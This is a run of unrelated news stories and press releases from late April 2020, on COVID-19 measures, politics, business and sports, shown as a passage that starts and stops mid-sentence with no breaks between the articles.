of parents had chosen to take advantage of the opening. Schools across Europe were shut in a bid to halt the spread of the new coronavirus -- Denmark was the first to resume some classes on April 15. Germany is scheduled to follow suit on May 4 and France and Switzerland a week later. Norway has progressively begun lifting restrictions imposed on March 12. Hair salons and dermatologists have been authorised to open and Health Minister Bent Hoie was among the first to get a trim -- in front of a scrum of TV cameras. But other restrictions remain in place, such as bans on sporting and cultural events, as well as social distancing and hygiene recommendations. Norway had confirmed 7,533 cases of the new coronavirus and 193 deaths by Monday. Pupils stand in front of Levre school in Baerum, west of Oslo, as the school reopens for pupils aged six to 10 after a six-week shutdown due to the new coronavirus pandemic. Pupils enter Levre school in Baerum, west of Oslo, as the school reopens for younger pupils after a six-week shutdown due to the new coronavirus pandemic. Norway says it has the new coronavirus epidemic under control but some parents are worried LIVE OAK, FL -- The Florida Department of Health in Suwannee County has issued the following statement concerning the wearing of cloth face coverings to help prevent the spread of the COVID-19 virus: " The Department of Health Suwannee County is urging members of the public to wear cloth face coverings to prevent the spread of COVID-19. The Centers for Disease Control and Prevention (CDC) has posted guidance on cloth face coverings to its website: https://www.cdc.gov/coronavirus/2019-ncov/prevent-getting-sick/cloth-face-cover.html. According to the CDC, a 'significant portion of individuals with coronavirus' do not experience symptoms. As a result, these individuals can unknowingly spread the virus to those around them. 'In light of this new evidence, CDC recommends wearing cloth face coverings in public settings where other social distancing measures are difficult to maintain (e.g., grocery stores and pharmacies) especially in areas of significant community-based transmission,' writes the CDC. Cloth face coverings can help prevent those who may have COVID-19 and not know it from spreading the virus to those around them. 'Cloth face coverings fashioned from household items or made at home from common materials at low cost can be used as an additional, voluntary public health measure,' writes the CDC. 'The cloth face coverings recommended are not surgical masks or N-95 respirators. Those are critical supplies that must continue to be reserved for healthcare workers and other medical first responders, as recommended by current CDC guidance.' The website features a short video of U.S. Surgeon General Dr. Jerome Adams fashioning a homemade face covering out of common household items, as well as tips on how to wear and clean face coverings. The CDC continues to urge people to remain at home as much as possible and practice social distancing, remaining 6 feet away from all others to help prevent spread of COVID-19. Additional prevention tips include: Wash your hands often. Keep away from people who are sick. Stock up on supplies Clean and disinfect frequently touched surfaces Avoid all cruise travel and nonessential air travel Suwannee County residents who believe they may have COVID-19 are asked to call the Department of Health Suwannee County before visiting the hospital. The DOH-Suwannee number is (386) 362-2708. For general information on COVID-19 in Florida, visit www.floridahealth.gov/covid-19 , email About the Florida Department of Health The Department, nationally accredited by the Public Health Accreditation Board, works to protect, promote, and improve the health of all people in Florida through integrated state, county and community efforts. Follow us on Twitter at @HealthyFla and on Facebook. For more information about the Florida Department of Health please visit www.FloridaHealth.gov." CHEYENNE, Wyo., April 28, 2020 /PRNewswire/ -- Authoritative domains that publish thorough content tend to rank higher in Google's organic search results, according to a new industry study by Backlinko. The analysis, which used data provided by SEO software company Ahrefs, also found no correlation between site loading speed and rankings. New study finds that authority domains have a significant edge when it comes to SEO. The dataset included 11.8M web pages, making it one of the largest search engine ranking factors study to date. This joint Backlinko and Ahrefs analysis also investigated a number of other potential Google ranking factors. Impact of title tags: The study found that between 65% and 85% of pages that rank in Google's top 10 results tend to use a keyword in their title tag. However, while title tags are critical for getting on Google's first page, this analysis found that keyword-rich title tags won't help a page climb the first page rankings once they get there. Impact of website loading speed: The analysis discovered that, despite page speed being a confirmed Google ranking factor, fast-loading websites don't appear to have any ranking advantage over websites that load slowly. The authors of the study conclude that site speed may be a minor ranking signal that doesn't translate into actual ranking improvements. Impact of word count: This research found that the first page of Google is predominantly made up of long-form content. The average word count of a first-page result in Google was found to be 1,447 words. Impact of backlinks: Both total backlinks and number of referring domains correlated with higher first page rankings. Impact of a page's link authority: The authors of the study found a weak correlation between a specific page's link authority (as measured using Ahrefs URL Rating) and higher first page Google rankings. URL Rating was found to be significantly less important than a domain's link authority as a whole. Impact of schema: Use of Schema markup was found to have no correlation with rankings. Impact of time on site: Websites with a high time on site tend to outrank websites with a low time on site. Improving time on site by 3 seconds correlates to ranking one spot higher on Google's first page. Complete Study Results: https://backlinko.com/search-engine-ranking For questions about the study or a comment on the findings, contact Brian Dean at [email protected]. The Backlinko blog, which has over 3 million monthly readers, is a highly-respected resource for marketing professionals. Backlinko has been featured in Forbes, Inc., Fast Company and more. Ahrefs is an industry-leading SEO software suite, with customers that include Adobe, LinkedIn, Netflix and Shopify. Related Images pages-with-a-lots-of-backlinks.png Pages with a lots of backlinks tend to perform better in Google search. New study finds that authority domains have a significant edge when it comes to SEO. SOURCE Backlinko Related Links https://backlinko.com By Matt Kawahara, San Francisco Chronicle The Vallejo planning commissioner who tossed his cat and appeared to drink from an alcoholic beverage during a virtual commission meeting last week has resigned, a city spokesperson said Monday. Former commissioner Chris Platzer submitted his resignation by email Monday afternoon after several city officials, including Vallejo Mayor Bob Sampayan, had called for his removal, city spokesperson Christina Lee said. In the resignation email, text of which was provided by Lee, Platzer wrote that he served "at the pleasure of the (City) Council and no longer have that trust and backing." "We are all living in uncertain times and I certainly, like many of you, am adjusting to a new normalcy," Platzer wrote. "I did not conduct myself in the Zoom meeting in a manner befitting of a planning commissioner and apologize for any harm I may have inflicted." About 2 hours and 24 minutes into the commission's meeting last Monday, Platzer was asked if he had any comments on a project application. >>SEE THE VIDEO "First, I'd like to introduce my cat," Platzer said, holding a striped cat up to his camera. He then tossed the cat out of view, prompting it to squeak. A thud could be heard off-camera. In an action item that recommended Platzer's removal, city officials stated that Platzer was also drinking an alcoholic beverage during the public portion of the recorded meeting. The item also said that after the meeting, while the teleconference was still going, Platzer used "a derogatory and highly offensive epithet that was heard by at least three city employees." The City Council was scheduled to take up the item at its Tuesday meeting this week. But it was removed after Platzer, who could not be reached for comment Monday, resigned, Lee said. Prior to receiving Platzers resignation, the city issued a statement saying it does not condone the behavior that Vallejo Planning Commissioner Chris Platzer exhibited during the April 20th Planning Commission meeting. This type of behavior does not model the core values of the City of Vallejo. When the U.S. Senate returns from a lengthy absence next week, one of its first orders of business will be advancing the nomination of a 38-year-old ally of Majority Leader Mitch McConnell to the second highest court in the land. According to two Democratic aides, Senate Judiciary Committee Chairman Lindsey Graham (R-SC) is expected to schedule a committee hearing for May 6 for Justin Walker, a federal judge in Kentucky whom President Trump has nominated to the influential D.C. Circuit Court of Appeals. McConnell announced on Monday that the Senate would return to session on May 4 for its first full week of legislative business after the CARES Act passed in late March. And he has not been shy about his desire to start confirming judges as soon as his chamber is back in session. I havent seen anything that would discourage me from doing that. And as soon as we get back in session, well start confirming judges again, he told Hugh Hewitt in a recent interview. Caroline Brehman/CQ-Roll Call via Getty McConnells office had no comment. Grahams office did not return a request for comment. Mitch McConnell Turned the Courts Conservativeand Democrats Helped Him Walker is a McConnell protege who has close ties to Supreme Court Justice Brett Kavanaugh and played a high-profile role defending him during his contentious confirmation hearings. Walker moved up the ranks of conservative legal circles before landing a judgeship on the United States District Court of the Western District of Kentucky. There, his record has been distinguished by conservative jurisprudence and a flair for unorthodox rulings. On Holy Thursday, an American mayor criminalized the communal celebration of Easter, Walker wrote in ruling against ordinances restricting attendance at religious services do to the coronavirus pandemic, that sentence is one that this Court never expected to see outside the pages of a dystopian novel, or perhaps the pages of The Onion. Walkers lack of experience and partisan background has earned him not qualified ratings from the American Bar Association and the opposition of Democrats, who see his nomination as a thinly veiled attempt to place young ideological allies in key judicial positions. Story continues If Graham/McConnell go forward with this, it would show that Senate Rs are rushing the Senate back to confirm an unqualified, anti-health care judge instead of responding to the pandemic and conducting oversight, said a Senate Democratic aide. McConnell and Kavanaugh attended Walkers swearing-in on March 13 in Louisville. There, the majority leader and Walker, his former intern, praised each other effusively in public remarks. In his Monday announcement on the May 4 return, McConnell said the Senate must focus on concrete steps to strengthen our response to this complex crisis, adding that lawmakers cannot get distracted by pre-existing partisan wish-lists. Read more at The Daily Beast. Got a tip? Send it to The Daily Beast here Get our top stories in your inbox every day. Sign up now! Daily Beast Membership: Beast Inside goes deeper on the stories that matter to you. Learn more. Universities are expected to set up their own methods to enroll students this year instead of using the results of the national high school finals. The Prime Minister has approved a plan to organize the 2020 high school finals submitted by the Ministry of Education and Training (MOET). Instead of a 2-in-1 exam used to both examine the ability of high school students to recognize their completion of general education and provide information to universities when enrolling students, this years exam will serve the first purpose only. The high school examination will be held later than every year before which will be in August. Hanoi National University on April 22 announced that it will enroll students through three ways: based on their outstanding achievements (who meet the requirements set by MOET and the university); based on scholastic assessment tests, and based on their learning records at high school. Universities are expected to set up their own methods to enroll students this year instead of using the results of the national high school finals. The scholastic assessment tests, expected to be organized in July, will comprise mathematics test (90 minutes), essays (60 minutes), foreign languages (60 minutes) and social/natural sciences (60 minutes). Hanoi National University plans to enroll 10,320 students this year for 131 majors/programs, including 14 new majors. Ngo Minh Xuan, rector of the Pham Ngoc Thach Medical University, said that medical schools plan to join forces to organize an exam for the schools. If the schools cannot reach a consensus on organizing such an exam, Pham Ngoc Thach will design an enrollment plan of its own. Rectors of other schools said their schools will still refer to the results of the high school finals to enroll students this year, though MOET says this is not a 2-in-1 exam. Bui Duc Trieu, head of the Training Division of the Hanoi Economics University, said the results of the high school finals will still reflect students abilities, and therefore, it is fair to consider the results of the exam to assess students. The opinions about this years enrollment plans vary. Some education experts have expressed concern about the quality of students when the 2-in-1 exam is no longer organized. Meanwhile, Nguyen Le Ninh, a member of the Vietnam Fatherland Front Committee, applauded the idea of giving autonomy to schools in enrolling students. He said universities need to enroll students based on their training capability, while the MOET needs to supervise and examine the training quality of the schools. Only students with good abilities can graduate from universities. Chi Mai Students satisfied about Education Ministry's high school finals rescheduling The Ministry of Education and Training (MOET) has adjusted the academic year schedule, delaying the high school finals to late July. The almajiri system, if not dealt with urgently, will present overwhelming challenges for Nigeria in the future, the Secretary to the Government of the Federation (SGF), Boss Mustapha, has warned. Mr Mustapha, while speaking at the daily Presidential Task Force briefing on COVID-19, on Monday, said the country must provide for their welfare and turn them into productive citizens. There is nothing wrong about them learning the dictates of their faith. But we must prepare them equally for the future. Equip them, skill them so that they can become educated in their state and also productive citizens in the future. If we do not deal with the issues relating to the almajiris, we are building an army that would overwhelm us as a people and as a nation in the future, he said. Mr Mustaphas statement was in reaction to the decision of some northern governors to ban the almajiri system as part of measures to curb the spread of the COVID-19 virus. Read also: Almajiri is ideally a system of Islamic education practised in northern Nigeria, where young children leave their homes to live with Islamic scholars and learn about religion. Almajiri derives from an Arabic word, al-Muhajirun meaning a person who leaves his home in search of Islamic knowledge. However, the system has over the years been bastardised with thousands of such children roaming the streets of Northern Nigeria as beggars and without any form of education. The system has been blamed for significantly contributing to the over 10 million out of school children in Nigeria. PREMIUM TIMES earlier reported how Kano State Government decided to transfer almajiri to their respective states so they can reunite with their families. The decision to transfer almajiris to their states of origin was reached at a meeting of the Northern Governors Forum. As of Sunday, the Kano commissioner for local government, Murtala Garo, said 419 almajiris have been transported to Katsina, 524 to Jigawa and 155 to Kaduna, totalling 1,098. On Monday, the Kaduna State government said some almajiris transferred from Kano are part of the five new COVID-19 cases recorded in the state. As of 11:20 on April 27, Nigeria has recorded 1337 confirmed cases of COVID-19. Of these, 255 patients have been treated and discharged and 40 deaths recorded. Welfare Mr Mustapha said most of the almajiris are minors who need people to be responsible for them. Most of them are minors. As a matter of fact, by the time they get to their teens they mature and become the Mallams. And I think every government has a responsibility given to it by the constitution of the Federal Republic of Nigeria, to provide for the welfare and the security of its citizens, he said. He added that I also believe that the governors taking this option have that at the back of their minds. The states in which these almajiris are operating, can we say that their welfare is being taken care of? Is adequate security being provided for them? And being minors, somebody has to take that responsibility. And I said we should look at it within the context. So, I want to believe that the actions that have been taken by these governors are in context to provide for the security and the welfare, realising that virtually all of them are minors, he said. Aircraft parked at the Southern California Logistics Airport (SCLA) in Victorville, Calif., on April 11, 2020. SCLA is holding and maintaining many aircraft grounded due to the COVID-19 slowdown in travel. (Fred Fourcher) Aircraft in Limbo Find a Temporary Home As airports around the globe see a downward spiral in business due to the COVID-19 pandemic, a single airport in the southeast corner of Californias Mojave Desert is busier than ever. The Southern California Logistics Airport (SCLA) in Victorville specializes in aircraft storageand its standing army of airplanes in limbo is growing by the day. Due to the CCP (Chinese Communist Party) virus, commonly known as the novel coronavirus and which causes the disease COVID-19, it seems likely theyre not going anywhere soon. We certainly are busyand getting even busier, Lisa Skeels, a director at airline maintenance company ComAv, told The Epoch Times. So we are stable, but under horrible circumstances. Since the dramatic decrease in airline business due to the COVID-19 shutdown, SCLA has parked an additional 178 planes at their facility, for many of the countrys largest airlines. The recent surge in out-of-use planes has necessitated shutting down one of its two runways. Aircraft parked at the Southern California Logistics Airport (SCLA) in Victorville, Calif., on April 11, 2020. (Fred Fourcher) Aircraft parked at the Southern California Logistics Airport (SCLA) in Victorville, Calif., on April 11, 2020. (Fred Fourcher) Keeping the Planes Fit to Fly The aircraft require a small army of people to see to their needs. Thats where ComAva company based at SCLA that specializes in maintenance, repair, and overhaul servicescomes in. The process is quite extensive to put an aircraft into a storage program, Skeels said. We are experts in this business already, [but] a large influx of inbound aircraft in such a short time can be challenging. Since the downturn in air travel, Skeels said that ComAv has hired 95 new employees to meet the increased demand. She indicated even more jobs will become available as we continue to receive more aircraft. The only hallmark comparable to the current growth in business operations was Sept. 11, 2001, Skeels explained. When asked about the challenges of servicing 178 aircraft, Skeels said, That would be 178, plus the 300 already in storage programs we have on site. Aircraft maintenance requires a lot of planning, strategy, and labor. The day in the life in aviation maintenance is busy start to finish, she said, and long hours are certainly always required to complete the specific tasks needed for the aircraft. Skeels said a comprehensive list of the required duties would be very long, but gave a brief overview: engines and auxiliary power units must be examined and preserved; desiccants are utilized to capture humidity; flight controls and gears must be lubricated; inventory must be taken of emergency equipment; and coverings are used to keep debris from harming the aircrafts functionality. Aircraft engines at the Southern California Logistics Airport (SCLA) in Victorville, Calif., on April 11, 2020. (Fred Fourcher) These measures, among many others, are necessary to ensure that the planes remain flight-ready for when the airline business picks up again. According to global travel data provider Official Airline Guide (OAG), scheduled flights in the United States have dropped nearly 61 percent compared to the same week in April 2019. Southwest and Delta Airlines are among those with planes at SCLA. Delta spokesman Drake Castaneda told The Epoch Times that Delta has stored more than 50 percent of its 1,300 aircraft across the United States. Southwest Airlines spokesman Brian Parrish said his airline has parked more than 100 aircraft at various locations across the country. Aircraft parked at the Southern California Logistics Airport (SCLA) in Victorville, Calif., on April 11, 2020. (Fred Fourcher) Aircraft parked at the Southern California Logistics Airport (SCLA) in Victorville, Calif., on April 11, 2020. (Fred Fourcher) A Boost for Local Desert Economy According to Sue Jones, public information officer for the city of Victorville, the sudden increase in business for ComAv offers a small, but considerable, silver lining for the local high desert economy. People have been losing their jobs, she told The Epoch Times. But contrary to that, herewith this ability for ComAv to serve the airline companiestheyve actually had a surge in their business, [by] hiring people who were laid off at other tenant companies at SCLA. Unlike passenger airports, SCLA is an industrial airport that performs aircraft maintenance and completion services, flight testing, aircraft research and development, and cargo transportation. SCLA is also renowned for its 15,059-foot long runwaythe second-longest public-use runway in the United States. One of the primary benefits of airplane storage at SCLA is the ideal desert climate, Jones noted. We have 360 days a year of severe clear weather, Jones said. So basically, the suns shining we [dont] experience a lot of damaging environmental factors like rain that would hurt the planes. Skeels said that ComAv can sustain the current situation for the long term if necessary, but she hopes the airlines will be able to get back to business soon. We are happy to support them during this time, but we do not want to see them go through this, she said. The ideal outcome is to get our airline clients back into operation, and their passengers back into the air. We just want the country and business operations to heal, and have everyone return back to work as healthy and safely as possible. Harpreet Bajwa By Express News Service CHANDIGARH: The Haryana government is considering sealing all its borders with Delhi including those in Gurugram and Faridabad in order to contain the spread of COVID-19 in the state, said Home Minister Anil Vij who is also the Health Minister. Haryana has already sealed its borders with Delhi at Sonepat and Jhajjar, with even those with valid passes not allowed to enter the state. "Till now, 18 cases have come to our notice where Delhi government employees who visited their homes in Haryana have been the source of infection," said Vij. He said, "The Chief Minister of Delhi Arvind Kejriwal should make arrangements for the stay of these employees in Delhi only. I have told the Haryana Chief Minister Manohar Lal Khattar that if we have to save the state, we have to seal the borders with Delhi from where several cases are coming." It is learnt that Haryana Chief Secretary Keshni Anand Arora has talked to her Delhi counterpart on the issue. Sources said that two employees of Babu Jagjiwan Ram Hospital at Jahangirpuri in Delhi hailing from Sonipat tested positive and they further infected three more from their family. An employee of a health institute in Delhi who lived in Faridabad tested positive as he used to travel to Delhi daily. In another case, three family members of a Delhi cop who tested positive for the coronavirus also tested positive. A pharmacist who travelled from Bahadurgarh daily to a hospital in Delhi where he was employed tested positive in Jhajjar. Earlier on April 24, a Delhi Police constable who lived in Khoobru village of Sonipat visited his native village and infected four members of his family who tested positive on April 26. On April 18, another Delhi Police constable hailing from Rasoi village who was posted outside the Nizamuddin Markaz tested positive. A couple who came in contact with him also tested positive on April 20. In early March, when the coronavirus news was swirling but life was, for the most part, still normal schools were still in session, businesses were still going full force, social distancing was a phrase we heard in passing, not a mandate we lived by Jahkil hosted a rollerskating party at The Rink on 87th Street. It was a celebration of four years of blessing bags. He asked everyone to bring items to donate. Two hundred people came bearing supplies. Fever Cough Shortness of breath or difficulty breathing Chills Repeated shaking with chills Muscle pain Headache Sore throat New loss of taste or smell The Centers for Disease Control and Prevention (CDC) has added six new possible symptoms to its list for the coronavirus. Previously, the CDC only listed three possible symptoms for the virus fever, cough, and shortness of breath.On Sunday, the CDC updated that list to include an additional six symptoms, ABC News reported NPR reported that theThe outlet also reported last month along with others that some patients who had developed COVID-19 reported they lost their sense of taste and smell. Others have reported chills, headache, and muscle pain - all symptoms that now have been added to the CDC's list.Symptoms of coronavirus generally appear two to 14 days after one has been exposed to the virus. The CDC still lists "emergency warning signs" as difficulty breathing, pain or pressure in the chest that won't go away, confusion, and bluish lips or face. If you are showing these symptoms, seek medical attention immediately.As ABC reported, more than 2.89 million around the world have been diagnosed with COVID-19, which means millions more could have had the virus without showing enough symptoms to warrant testing. The Johns Hopkins University Coronavirus Resource Center shows that more than 200,000 people have died from the disease, although we know in the United States these numbers include anyone who died while also having COVID-19, meaning someone who was had the virus but died of a heart attack was still listed as a coronavirus death.In the U.S., nearly 55,000 people have died while testing positive for the coronavirus, though as ABC noted, theThe coronavirus originated in Wuhan, a province in China, though the Chinese communist government worked to suppress the dangers of the virus and cover up its role in spreading what is now a pandemic. As The Daily Wire previously reported , China was aware of the coronavirus since mid-November, but continued to act as if nothing was happening. By the end of December, doctors in the country began sounding the alarm about a new disease, but the Chinese government silenced them through detentions. China also ordered a genomics company to stop testing the new virus and destroy all samples. These actions continued through January and the World Health Organization (WHO) was complicit in taking China's word as the truth. On January 14, the WHO finally admitted that there may have been human-to-human transmission of the virus. After this, China continued to cover up evidence of the virus. Source: Xinhua| 2020-04-28 23:46:29|Editor: huaxia Video Player Close BEIJING, April 28 (Xinhua) -- A Chinese foreign ministry spokesperson on Tuesday refuted Australia's accusation of so-called "economic coercion", adding that politicians should not make political maneuvers over the origin of the novel coronavirus. Australian Foreign Minister Marise Payne made such an accusation after Chinese ambassador to Australia Cheng Jingye said Monday that the idea of an independent inquiry into the origins of the virus called for by Australia is ill-received among the Chinese public. Cheng said what Australia is doing may make the Chinese public think twice about traveling or studying in Australia, or purchasing Australian goods. China has always insisted on developing friendly and cooperative relations with other countries on the basis of mutual respect and equal treatment, said spokesman Geng Shuang told a press briefing, adding that Cheng expressed his concern that certain wrong actions by Australia lately have aroused the dissatisfaction of the Chinese people. Identifying the origin of the novel coronavirus is a scientific matter that should be the subject of study for scientists and professionals, he said. "Politicians should not make arbitrary remarks on this issue, nor should they make political maneuvers over the matter." Geng said as the COVID-19 pandemic has had a comprehensive impact on the world economy, China is ready to strengthen cooperation with other countries and provide help to contribute to the health and well-being of all mankind. "We also hope that other countries will work with China to do more for enhancing international cooperation and mutual trust, instead of saying one thing and doing another," he added. Enditem by Adam Koffler | Broncos Correspondent | Mon, Apr 27th 6:37pm EDT RB Melvin Gordon is now officially a member of the Denver Broncos after his free agent deal from back in March officially processed Monday with the NFL. (Aaron Wilson on Twitter) Fantasy Impact: Denver waited until April 27 at 4:00 PM to officially process the Gordon signing so as to not have it count against the Broncos compensatory picks formula. Strategic move on their part - and now Gordon can officially get to work with his new team. Hes currently ranked #21 in the FantasyPros consensus RB rankings. US Reportedly Slams Turkey's Plans for Natural Resource Exploration Off Cyprus' Coast Sputnik News 13:06 GMT 27.04.2020(updated 13:19 GMT 27.04.2020) US Ambassador to Cyprus Judith Garber insisted that the development of natural resources in the eastern Mediterranean "should promote cooperation" and help foster energy security and economic prosperity in the region. US authorities have urged Turkey to halt its hydrocarbon drilling activities off the coast of Cyprus, The Cyprus Weekly reports. According to the newspaper, the US Ambassador to Cyprus Judith Garber said that the United States is aware of the recent arrival of the Turkish drillship Yavuz to "an area that Cyprus claims as its exclusive economic zone". "We urge the Turkish authorities to halt these operations and continue to call on all parties to avoid steps that raise tensions in the region", Garber said in an interview with Greek-language Cypriot newspaper Phileleftheros. "The United States is deeply concerned by recent reports of Turkey's plans to drill in the waters off Cyprus. This provocative step raises tensions in the region". The ambassador added that "resource development in the Eastern Mediterranean should promote cooperation and provide a foundation for durable energy security and economic prosperity throughout the region". Last week, the Cypriot government slammed Turkey for the latter's alleged attempts to drill for gas in waters where Cyprus has exclusive economic rights, saying in a statement that "this new illegal 'act of piracy' constitutes a further severe violation of the sovereign rights and jurisdiction of the Republic of Cyprus, contrary to international law". Sputnik NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address By Express News Service THIRUVANANTHAPURAM: The states plan to use rapid antibody test kits for surveillance and to check traces of community transmission took an unexpected turn as the Indian Council of Medical Research directed all states to return the kits provided by it, citing performance issues. As per a letter issued by the ICMR to the chief secretary, some states have raised issues regarding the performance of the kits during the testing exercise that they have undertaken and upon evaluation, the anomalies remained. Thus the 12,500 kits manufactured by the companies Guangzhou Wondfo Biotech and Zhuhai Livzon Diagnostics should have to be returned so as to send them back to the suppliers. At the same time, it is learnt that the process is on to procure two lakh rapid antibody test kits through the Kerala Medical Services Corporation Ltd. Some states like Punjab and Rajasthan got the antibody kits and started testing. They found it faulty. Since these test kits are of the same batch, we have decided not to use them further. However no decision was taken not to use antibody kits any more. Since these are all from the same batch, a decision was taken not to use these kits, said a top official who added that many countries like Italy, UK and Germany have returned the kits. SEATTLE Amazon may have violated federal worker safety laws and New York States whistle-blower protections when it fired an employee from its Staten Island warehouse who protested the companys response to the coronavirus outbreak, according to a letter the office of the New York attorney general, Letitia James, sent the company last week. The letter, which was earlier reported by National Public Radio, was confirmed by Ms. Jamess office. Amazon has been under pressure for the safety of its hundreds of thousands of workers who are packing and shipping products to millions of homebound Americans in the pandemic. The company has rolled out various safety measures at its warehouses across the country, such as temperature checks and mandatory masks, but it has faced protests at several facilities from employees who have said they feel unsafe. As of early April, workers at more than 50 of its warehouses in the United States had contracted the coronavirus. The case that Ms. Jamess office has been looking into involves Christian Smalls, an employee in Amazons Staten Island warehouse. In late March, Mr. Smalls agitated for more worker protections at the facility as co-workers began getting sick. On March 28, Amazon put Mr. Smalls on quarantine for being in contact with a worker who had contracted the coronavirus. On March 30, Mr. Smalls led a protest calling for Amazon to temporarily close the warehouse and provide workers more protections. Amazon fired him, saying Mr. Smalls had violated its policies by leaving his quarantine to attend the protest at the site. [April 28, 2020] Factorial Raises 13 Million in a "Series A" Funding Round Led by CRV Thanks to CRV, Silicon Valley investor in Twitter, Dropbox and Zendesk, Factorial is revolutionizing the HR industry worldwide Factorial multiplies its revenue by eight, expanding internationally and offering more functionalities to solve growing HR problems BARCELONA, Spain, April 28, 2020 /PRNewswire/ -- Factorial, a Human Resources management platform, revolutionizing the way companies manage their HR processes, has announced a successful 13 million "Series A" funding round, the third since it began operations in late 2016. This recent round, and the largest investment in Spain for 2020, builds on what has already been an exceptionally successful year for Factorial, making it one of the leading startups in HR. The company has experienced rapid growth and expansion among its client base and has seen a growth of revenue by eight in 2019. "Our growth shows that Barcelona is the perfect location for creating a global company with the best investors and while recruiting top talent," says Jordi Romero, Factorial CEO. New Features and International Expansion With CRV's investment, Factorial plans to expand by focusing on developing new functionalities within its already successful range of features, including applicant tracking and recruitment, performance evaluation, time tracking, absence management, document management and more. These new features and improvements are centered around supporting medium-sized companies as they transition their processes to digital. Thanks to the support of this recent investment, Factorial is preparing to grow in key international markets both in Europe and in America. At present, Factorial offers support to clients in more than 40 countries. HR Software Built for the Specific Needs of HR Users "Factorial was built for the HR users, and designed for the needs of HR managers today," says Reid Christian, General Partner at CRV. Teaming up with the Best Investors This investment round is led by CRV, a prestigious and well respected Venture Capital firm in Silicon Valley. With more than 75 IPOs, CRV has led many of the largest tech exits. The trusted American firm has invested in companies that have gone on to make a significant impact on the technology industry. Some of these include Twitter, Dropbox, and Zendesk; a company valued at 8 billion dollars. Three of the most successful investment firms in Europe have also taken part in this round. Creandum, Point Nine, and K Fund, who have funded companies like Spotify, Bolt, Lift, and Revolut, have also proudly supported Factorial in a previous round by contributing 2.8 million euros. Their contribution reflects their trust and full confidence in Factorial to continue innovating and delivering new product advancements. More about Factorial: https://factorialhr.com/ Photo - https://mma.prnewswire.com/media/1160154/Factorial_HR_Software.jpg Contacts: Marc Figuerola Delgado +34-93-624-16-91 [email protected] Sergio Vicente +34-651-852-995 [email protected] [ Back To TMCnet.com's Homepage ] In the worldwide race for a vaccine to stop the coronavirus, the laboratory sprinting fastest is at Oxford University. Most other teams have had to start with small clinical trials of a few hundred participants to demonstrate safety. But scientists at the universitys Jenner Institute had a head start on a vaccine, having proved in previous trials that similar inoculations including one last year against an earlier coronavirus were harmless to humans. That has enabled them to leap ahead and schedule tests of their new coronavirus vaccine involving more than 6,000 people by the end of next month, hoping to show not only that it is safe but also that it works. The Oxford scientists now say that with an emergency approval from regulators, the first few million doses of their vaccine could be available by September at least several months ahead of any of the other announced efforts if it proves to be effective. Now, they have received promising news suggesting that it might. Scientists at the National Institutes of Healths Rocky Mountain Laboratory in Montana last month inoculated six rhesus macaque monkeys with single doses of the Oxford vaccine. The animals were then exposed to heavy quantities of the virus that is causing the pandemic exposure that had consistently sickened other monkeys in the lab. But more than 28 days later all six were healthy, said Vincent Munster, the researcher who conducted the test. The rhesus macaque is pretty much the closest thing we have to humans, Munster said, noting that scientists were still analyzing the result. He said he expected to share it with other scientists next week and then submit it to a peer-reviewed journal. Immunity in monkeys is no guarantee that a vaccine will provide the same degree of protection for humans. A Chinese company that recently started a clinical trial with 144 participants, SinoVac, has also said that its vaccine was effective in rhesus macaques. But with dozens of efforts now underway to find a vaccine, the monkey results are the latest indication that Oxfords accelerated venture is emerging as a bellwether. It is a very, very fast clinical program, said Emilio Emini, a director of the vaccine program at the Bill and Melinda Gates Foundation, which is providing financial support to many competing efforts. Which potential vaccine will emerge from the scramble as the most successful is impossible to know until clinical trial data becomes available. More than one vaccine would be needed in any case, Emini argued. Some may work more effectively than others in groups like children or older people, or at different costs and dosages. Having more than one variety of vaccine in production will also help avoid bottlenecks in manufacturing, he said. But as the first to reach such a relatively large scale, the Oxford trial, even if it fails, will provide lessons about the nature of the coronavirus and about the immune systems responses that can inform governments, donors, drug companies and other scientists hunting for a vaccine. This big U.K. study, Emini said, is actually going to translate to learning a lot about some of the others as well. All of the others will face the same challenges, including obtaining millions of dollars in funding, persuading regulators to approve human tests, demonstrating a vaccines safety and after all of that proving its effectiveness in protecting people from the coronavirus. Paradoxically, the growing success of efforts to contain the spread of Covid-19, the disease caused by the virus, may present yet another hurdle. Were the only people in the country who want the number of new infections to stay up for another few weeks, so we can test our vaccine, professor Adrian Hill, the Jenner Institutes director and one of five researchers involved in the effort, said in an interview in a laboratory building emptied by Britains monthlong lockdown. Ethics rules, as a general principle, forbid seeking to infect human test participants with a serious disease. That means the only way to prove that a vaccine works is to inoculate people in a place where the virus is spreading naturally around them. If social distancing measures or other factors continue to slow the rate of new infections in Britain, he said, the trial might not be able to show that the vaccine makes a difference: Participants who received a placebo might not be infected any more frequently than those who have been given the vaccine. The scientists would have to try again elsewhere, a dilemma that every other vaccine effort will face as well. The Jenner Institutes coronavirus efforts grew out of Hills so-far unsuccessful pursuit of a vaccine against a different scourge, malaria. He developed a fascination with malaria and other tropical diseases as a medical student in Dublin in the early 1980s, when he visited an uncle who was a priest working in a hospital during the civil war in what is now Zimbabwe. I came back wondering, What do you see in these hospitals in England and Ireland? Hill said. They dont have any of these diseases. The major drug companies typically see little profit in epidemics that afflict mainly developing countries or run their course before a vaccine can hit the market. So after training in tropical medicine and a doctorate in molecular genetics, Hill, 61, helped build Oxfords institute into one of the largest academic centers dedicated to nonprofit vaccine research, with its own pilot manufacturing facility capable of producing a batch of up to 1,000 doses. The Jenner Institutes effort against the coronavirus uses a technology that centers on altering the genetic code of a familiar virus. A classic vaccine uses a weakened version of a virus to trigger an immune response. But in the technology that the institute is using, a different virus is modified first to neutralize its effects and then to make it mimic the one scientists seek to stop in this case, the virus that causes Covid-19. Injected into the body, the harmless impostor can induce the immune system to fight and kill the targeted virus, providing protection. Hill has worked with that technology for decades to try to tweak a respiratory virus found in chimpanzees to elicit a human immune response against malaria and other diseases. Over the last 20 years, the institute has conducted more than 70 clinical trials of potential vaccines against the parasite that causes malaria. None have yet yielded a successful inoculation. In 2014, however, a vaccine based on the chimp virus that Hill had tested was manufactured in a large enough scale to provide 1 million doses. That created a template for mass production of the coronavirus vaccine, should it prove effective. A longtime colleague, professor Sarah Gilbert, 58, modified the same chimpanzee virus to make a vaccine against an earlier coronavirus, Middle East respiratory syndrome. After a clinical trial in Britain demonstrated its safety, another test began in December in Saudi Arabia, where outbreaks of the deadly disease are still common. When she heard in January that Chinese scientists had identified the genetic code of a mysterious virus in Wuhan, she thought she might have a chance to prove the speed and versatility of their approach. We thought, Well, should we have a go? she recalled. Itll be a little lab project, and well publish a paper. It did not stay a little lab project for long. As the pandemic exploded, grant money poured in. All other vaccines were soon put into the freezer so that the institutes 